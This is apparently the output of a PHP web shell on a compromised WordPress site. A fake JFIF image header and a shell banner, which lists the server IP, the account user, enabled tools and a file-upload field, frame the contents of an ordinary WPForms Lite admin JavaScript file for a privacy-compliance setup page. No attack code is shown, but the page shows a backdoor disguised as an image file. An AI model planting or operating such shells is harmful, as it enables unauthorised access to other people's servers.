????JFIF??x?x????'
Server IP : 104.21.16.1 / Your IP : 216.73.216.18 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/thread-self/cwd/wp-content/plugins/wpforms-lite/assets/js/admin/pages/ |
Upload File : |
/* global wpforms_pluginlanding, wpforms_admin */ /** * @param wpforms_pluginlanding.activated * @param wpforms_pluginlanding.activated_pro * @param wpforms_pluginlanding.download_now * @param wpforms_pluginlanding.error_could_not_activate * @param wpforms_pluginlanding.error_could_not_install * @param wpforms_pluginlanding.is_activated * @param wpforms_pluginlanding.license_level * @param wpforms_pluginlanding.plugins_page * @param wpforms_pluginlanding.setup_status * @param wpforms_pluginlanding.step3_button_url * @param wpforms_pluginlanding.wpconsent_manual_activate_url * @param wpforms_pluginlanding.wpconsent_manual_install_url */ /** * Privacy Compliance Subpage. * * @since 1.9.7.3 */ const WPFormsPagesPrivacyCompliance = window.WPFormsPagesPrivacyCompliance || ( function( document, window, $ ) { /** * Elements. * * @since 1.9.7.3 * * @type {Object} */ let el = {}; /** * Public functions and properties. * * @since 1.9.7.3 * * @type {Object} */ const app = { /** * Start the engine. * * @since 1.9.7.3 */ init: () => { $( app.ready ); }, /** * Document ready. * * @since 1.9.7.3 */ ready: () => { app.initVars(); app.events(); }, /** * Init variables. * * @since 1.9.7.3 */ initVars: () => { el = { $stepInstall: $( 'section.step-install' ), $stepInstallNum: $( 'section.step-install .num img' ), $stepSetup: $( 'section.step-setup' ), $stepSetupNum: $( 'section.step-setup .num img' ), $stepAddon: $( 'section.step-addon' ), $stepAddonNum: $( 'section.step-addon .num img' ), }; }, /** * Register JS events. * * @since 1.9.7.3 */ events: () => { // Step the 'Install' button click. el.$stepInstall.on( 'click', 'button', app.stepInstallClick ); // Step 'Setup' button click. el.$stepSetup.on( 'click', 'button', app.gotoURL ); // Step the 'Addon' button click. el.$stepAddon.on( 'click', 'button', app.gotoURL ); }, /** * Step the 'Install' button click. * * @since 1.9.7.3 * * @param {Event} e Event object. */ stepInstallClick: ( e ) => { const $btn = $( e.currentTarget ); if ( $btn.hasClass( 'disabled' ) ) { return; } const action = $btn.attr( 'data-action' ); let ajaxAction = ''; switch ( action ) { case 'activate': ajaxAction = 'wpforms_activate_addon'; $btn.text( wpforms_pluginlanding.activating ); break; case 'install': ajaxAction = 'wpforms_install_addon'; $btn.text( wpforms_pluginlanding.installing ); break; case 'goto-url': window.location.href = $btn.attr( 'data-url' ); return; default: return; } $btn.addClass( 'disabled' ); app.showSpinner( el.$stepInstallNum ); const plugin = $btn.attr( 'data-plugin' ); const data = { action: ajaxAction, nonce : wpforms_admin.nonce, plugin, type : 'plugin', }; $.post( wpforms_admin.ajax_url, data ) .done( function( res ) { app.stepInstallDone( res, $btn, action ); } ) .always( function() { app.hideSpinner( el.$stepInstallNum ); } ); }, /** * Done part of the step 'Install'. * * @since 1.9.7.3 * * @param {Object} res Result of $.post() query. * @param {jQuery} $btn Button. * @param {string} action Action (for more info look at the app.stepInstallClick() function). */ stepInstallDone: ( res, $btn, action ) => { const success = 'install' === action ? res.success && res.data.is_activated : res.success; if ( success ) { el.$stepInstallNum.attr( 'src', el.$stepInstallNum.attr( 'src' ).replace( 'step-1.', 'step-complete.' ) ); $btn.addClass( 'grey' ).removeClass( 'button-primary' ).text( wpforms_pluginlanding.activated ); app.stepInstallPluginStatus(); } else { const activationFail = ( 'install' === action && res.success && ! res.data.is_activated ) || 'activate' === action, url = ! activationFail ? wpforms_pluginlanding.wpconsent_manual_install_url : wpforms_pluginlanding.wpconsent_manual_activate_url, msg = ! activationFail ? wpforms_pluginlanding.error_could_not_install : wpforms_pluginlanding.error_could_not_activate, btn = ! activationFail ? wpforms_pluginlanding.download_now : wpforms_pluginlanding.plugins_page; $btn.removeClass( 'grey disabled' ).text( btn ).attr( 'data-action', 'goto-url' ).attr( 'data-url', url ); $btn.after( '<p class="error">' + msg + '</p>' ); } }, /** * Callback for step 'Install' completion. * * @since 1.9.7.3 */ stepInstallPluginStatus: () => { const data = { action: 'wpforms_privacy_compliance_page_check_plugin_status', nonce : wpforms_admin.nonce, }; $.post( wpforms_admin.ajax_url, data ).done( app.stepInstallPluginStatusDone ); }, /** * Done part of the callback for step 'Install' completion. * * @since 1.9.7.3 * * @param {Object} res Result of $.post() query. */ stepInstallPluginStatusDone: ( res ) => { if ( ! res.success ) { return; } el.$stepSetup.removeClass( 'grey' ); el.$stepSetupBtn = el.$stepSetup.find( 'button' ); if ( res.data.setup_status > 0 ) { el.$stepSetupNum.attr( 'src', el.$stepSetupNum.attr( 'src' ).replace( 'step-2.svg', 'step-complete.svg' ) ); el.$stepAddon.removeClass( 'grey' ); el.$stepAddonBtn = el.$stepAddon.find( 'button' ); if ( res.data.license_level === 'pro' ) { el.$stepAddonBtn.text( wpforms_pluginlanding.activated_pro ); el.$stepAddonNum.attr( 'src', el.$stepAddonNum.attr( 'src' ).replace( 'step-3.svg', 'step-complete.svg' ) ); } else { el.$stepAddonBtn.attr( 'data-url', res.data.step3_button_url ); el.$stepAddonBtn.removeClass( 'grey disabled' ).addClass( 'button-primary' ); } } else { el.$stepSetupBtn.removeClass( 'grey disabled' ).addClass( 'button-primary' ); } }, /** * Go to URL. * * @since 1.9.7.3 * * @param {Event} e Event object. */ gotoURL: ( e ) => { // eslint-disable-line no-unused-vars const $btn = $( e.currentTarget ), url = $btn.attr( 'data-url' ); if ( $btn.hasClass( 'disabled' ) || ! url ) { return; } window.location.href = url; }, /** * Show spinner. * * @since 1.9.7.3 * * @param {jQuery} $el Element. */ showSpinner: ( $el ) => { $el.siblings( 'i.loader' ).removeClass( 'hidden' ); }, /** * Hide spinner. * * @since 1.9.7.3 * * @param {jQuery} $el Element. */ hideSpinner: ( $el ) => { $el.show(); $el.siblings( 'i.loader' ).addClass( 'hidden' ); }, }; // Provide public access to functions and properties. return app; }( document, window, jQuery ) ); // Initialize. WPFormsPagesPrivacyCompliance.init();